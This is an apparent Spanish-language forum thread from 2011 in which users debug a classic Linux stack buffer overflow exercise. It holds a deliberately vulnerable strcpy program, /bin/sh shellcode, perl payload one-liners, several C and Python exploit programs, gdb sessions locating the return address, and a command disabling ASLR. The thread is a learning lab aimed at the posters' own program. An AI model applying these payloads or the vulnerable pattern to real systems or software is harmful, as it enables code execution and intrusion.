Bueno, ahi va el titulo, la cosa es que tengo un programita con una vulnerabilidad y lo estoy explotando. El otro dia consegui manejar el transcurso de la aplicacion, y ahora abrir una shellcode...
Lo hago asi:
./vuln [23 NOPS + 25 Shellcode + 4 RET]
La idea la saque de un post antiguo del foro... Evidentemente se puede cambiar la posicion de los Nops, pero bueno...
Bueno, consigo la shellcode al correrlo asi:
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
Pero a la hora de hacer el exploit...
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit
Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb)
Tengo este codigo, en el que también va como comentario el vulnerable...
/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
gcc -o exploit exploit.c
./exploit
$
------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void soy_vuln(char *arg)
{
char buffer [48];
strcpy (buffer, arg);
}
int main(int argc, char *argv[])
{
if (argc != 2) return 1;
soy_vuln(argv[1]);
}
------------------------------------------
*/
#include <stdio.h>
#include <string.h>
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");
char nops [23];
memset (nops, '\x90', 23);
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [4] = "\x18\x1f\x9b\xbf";
char command [59];
strcpy (command, "./vuln ");
strcpy (command, nops);
strcpy (command, shellcode);
strcpy (command, ret);
execve (command, command, NULL);
return 0;
}
Ahora mi pregunta es... ¿Qué falla?
lo que falla es que tienes protecciones anti stack over flow
saludos
Cita de: Anon en 23 Enero 2011, 14:32 PM
lo que falla es que tienes protecciones anti stack over flow
Los desactivo en el vuln, no en el exploit... Ahora mismo pruebo...
Modf: Anon, nada...
/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
gcc -o exploit exploit.c
./exploit
$
------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void soy_vuln(char *arg)
{
char buffer [48];
strcpy (buffer, arg);
}
int main(int argc, char *argv[])
{
if (argc != 2) return 1;
soy_vuln(argv[1]);
}
------------------------------------------
*/
#include <stdio.h>
#include <string.h>
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
char nops [23];
memset (nops, 'A', 23);
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [4] = "\x18\x1f\x9b\xbf";
char command [59];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
// system (command);
printf ("%s", command);
return 0;
}
Si os dais cuenta, no ejecuto nada, solo muestro la cadena. Antes de eso, al strcpy (command, shellcode) da el fallo...
Ahora me pasare por el foro C/C++ porque no es fallo de vuln...
Compilo asi...
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
Alguna idea?
Cita de: Sagrini en 23 Enero 2011, 15:35 PM
char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [4] = "\x18\x1f\x9b\xbf";
char command [59];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
Cuando usas c chars con las funciones strxxx, los cadenas tienen que contener \x0 para marcar el fin de la misma sino strxxx va a seguir de largo y copiar cualquier cosa. Si queres serguir usando esas funciones agregales '\0' al final de las cadenas que usas sino podes usar memcpy.
Mirate el man execve (http://linux.die.net/man/2/execve). El 2do argumento es un arreglo de punteros a char, el mismo tipo que argv.
Probate este code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
char nops [24];
memset (nops, '\x90', 23);
nops[23] = '\0';
char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x0";
char ret [] = "\x18\x1f\x9b\xbf\x0";
char command [59];
strcpy (command, nops);
strcat (command, shellcode);
strcat (command, ret);
char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);
return 0;
}
Bueno, de acuerdo, ahora no da fallo de segm. pero no ejecuta nada...
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c -z execstack --no-stack-protector
juanra@Juanra:~/Escritorio/Shell$ ./exploit
First BoF Linux attack : Sagrini 2010 : elhacker.net
juanra@Juanra:~/Escritorio/Shell$
Vale, ahora qué, si fuese porque cambia la dirección de memoria me diriía fallo de segmentación, pero nada...
Una cosa, si le meto un byte nulo, no se rellena todo... No va... Voy a probar otra cosa...
--------------------------------------------------------------------------------------------------------------------------------------------------------
Modf: Pruebo con este code:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
system (command);
return 0;
}
y este
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main ()
{
printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net\n");
char command [] = "./vuln \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x18\x1f\x9b\xbf";
char *cmd[] = {command, NULL};
execve ("./vuln", cmd, NULL);
return 0;
}
En el primero, "Segmentation Fault". En el segundo no printea nada menos la primera frase.
¿Qué hago?
Me parece que te dije cualquier verdura hehe, perdona. En realidad los char * inicializados con dobles comillas, c les agrega un null byte al final automaticamente. El problema lo tenias con los nops, porq los llenabas con memset.
Bueno retomando, en el segundo codigo, porq metes "./vuln" al principio del argumento para vuln en execve???
En el primero ni idea...
./vuln es el programa a ejecutar no? Voy a contar los nops, a ver si he metido de más...
execve (<nombre prog>, <argumentos completos> <entorno>);
Pues eso...
Ahora modf, que se me ha ocurrido otra cosa...
Yo no he tenido ningun problema en hacer el exploit ni en C, ni en Python ;).
C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
char name[]="./bof";
char nops[24]="";
memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}
Python:
import os
archivo="./bof "
nops="\x90" * 23
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ret="\x18\x1f\x9b\xbf"
os.system(archivo+nops+shellcode+ret)
Espero haberte ayudado, porque no se si llegaste a resolver tu duda ;).
Sa1uDoS
pues yo tambien lo intente y no me funciono, ya trate de modificar los nops, no se si sea igual en linux, pero en windows tenia que dejar ret exacto en EIP para que saltara y se creara la shell
pues lo intente y no me funciona... sera por alguna razon de sistemas linux, yo utilizo debian suqeeze
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char exp[] = "./vuln";
char nops[23] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);
system(cmd);
free(cmd);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void soy_vuln(char *arg){
char buff[48];
strcpy(buff, arg);
printf("%s", buff);
}
int main(int argc, char *argv[]){
if(argc != 2) return 1;
soy_vuln(argv[1]);
}
Porque dejas esto asi ???
sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);
Tiene que ser sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
Sino es normal que no te funcione ;).
Si lo copias tal y como esta (mi codigo) no te funciona ???
Has compilado vuln como gcc -o vuln vuln.c --no-stack-protector -g -z execstack
???
Sa1uDoS
sip, lo hice con tu codigo, y lo unico que cambie fue "./vuln"
y al ejecutarlo me aparece esto
�����������������������1�Ph//shh/bin��P��S���
y vuln lo compile asi exactamente
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
y haciendo esto
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
me dice.... Segmentation fault
No, eso que pusiste no es mi code.
Tiene errores, como char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.
Y eso del sprintf que ya te dije ;).
Pon mas informacion, que distro usas ???
Yo uso OpenSuSe y me funciona perfecto.
Sa1uDoS
P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).
EDIT:
A mi asi me funciona:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char exp[] = "./bof";
char nops[24] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
system(cmd);
free(cmd);
return 0;
}
EDIT2:
Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.
#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */
int main()
{
char name[]="./bof";
char nops[26]="";
memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}
Cita de: mr.blood en 7 Febrero 2011, 15:58 PM
No, eso que pusiste no es mi code.
Tiene errores, como char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.
Y eso del sprintf que ya te dije ;).
Pon mas informacion, que distro usas ???
Yo uso OpenSuSe y me funciona perfecto.
Sa1uDoS
P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).
EDIT:
A mi asi me funciona:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char exp[] = "./bof";
char nops[24] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
system(cmd);
free(cmd);
return 0;
}
EDIT2:
Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.
#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */
int main()
{
char name[]="./bof";
char nops[26]="";
memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}
Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado...
Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos :P
./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"')
Las XX las sustituis por vuestra direccion de regreso :P. Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta...
11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes :P.
Bueno, hago eso y me suelta la shell.
Ahora, para vuestra direccion de regreso...
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b]
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x80483ca: file vuln.c, line 7.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
(gdb)
Ahora, si quereis le sumais algo por si las moscas :P
Bueno, escribí un pequeño code para mi blog hace un ratillo...
#include <stdio.h>
#include <string.h>
int vuln (char *buff)
{
char buffer [36];
strcpy (buffer, buff);
}
int main (int argc, char *argv [])
{
vuln (argv [1]);
}
int feo ()
{
printf ("Eres feo!!!");
exit (0);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Eres feo!!!
juanra@Juanra:~/Escritorio/Shell$
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [40];
memset (nops, 'A', 40);
char ret [5] = "\x68\x84\x04\x08";
char command [51];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, ret);
system (command);
}
Luego lo hago con shellcode... Este ahora mismo va :P
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [11];
memset (nops, '\x90', 11);
char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [5] = "\x04\xf9\xff\xbf";
char command [47];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$
¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!
PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini
Sacado de mi blog xD!
hola
Pues lo estuve intentando, tambien de esta manera, conte las veces de nop's que se necesitaban y no hubo ninguna shell
ya tambien lo intente con perl, hice copy paste de los codigos y nada, compile las cosas como me dijeron y tampoco
me di cuenta de algo... al revisarlo con GDB, me di cuenta que al poner "r AAA", cuando trate de sacar el RET, me di cuenta que buffer no queda asi
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
Me queda de esta manera
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb)
y si coloco x/x buff
(gdb) x/x buff
0xbffff682: 0x41414141
alli estan los 41, o por lo menos eso en Windows para mi era señal de vulnerabilidad
intente con 0xbffff40c y 0xbffff682 y con ninguno de los 2, como mencione calcule too, y le iba aumentando poco a poco, pero en el comando "c" en gdb, solo me decia
(gdb) c
Continuing
y le aumente hasta que llegue a 15 me salio
Program received signal SIGSEGV, Segmentation fault.
0xbffff69c in ?? ()
no se si alli este el problema, aunque me imagino que sip
uso debian 6.0 squeeze
-------------------------------------
mr. blood
perdon si no te he podido agregar, pero como veras en estos momentos no he podido entrar mucho al foro, pero en cuanto pueda te agrego y vemos eso.
salu2
¿Has probado a desactivar protecciones?
$ sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
# exit
$
$ gcc -o vuln vuln.c --no-stack-protector -z execstack
Has copiado el code?
#include <stdio.h>
#include <string.h>
int vuln (char *buff)
{
char buffer [36];
strcpy (buffer, buff);
}
int main (int argc, char *argv [])
{
vuln (argv [1]);
}
int feo ()
{
printf ("Eres feo!!!");
exit (0);
}
Pues primero vemos cuántos bytes le metemos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Vamos, va perfecto...
1) Vemos cuantos bytes le metemos. En este programa dan 40.
2) Ahora, le restamos los bytes de la shellcode:
44 - 4 - 4 - 25 = 11
Los cuarenta y cuatro son para sobreescribir. La primera resta es de la dirección del ret. La segunda es porque al volver se restan cuatro bytes. Entonces tenemos:
11 NOPS + 25 SHELLCODE + 4 RET
3) Calculamos el RET:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running. Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
El ret cambia según qué ordenador. Tenéis que calcularlo cada uno...
Ahora ejecutamos...
x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit exploit.c shell shell.s vuln vuln.c
$ exit
juanra@Juanra:~/Escritorio/Shell$
Si aún no va dímelo...
Suerte!
ya desactive randomize_va_space y si estoy utilizando ese mismo codigo, igualmente hice copy paste
para sobreescribir si son 44
44-4-4-25 = 11
al compilar tengo que agregar -g sino me aparece
Citar(gdb) x/x buffer
No symbol table is loaded. Use the "file" command.
(gdb) q
para que sobreescriba todo tengo que usar 4 AAAA en vez de 3
Esto no entiendo... tiene que salirme
0xbffff904: 0x00000000 <----
en vez de esto... o no importa?
0xbffff40c: 0xb7e9ba75 <-----
Cambie ret
r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') <-----
paso a paso
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x80483fa: file vuln.c, line 7.
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
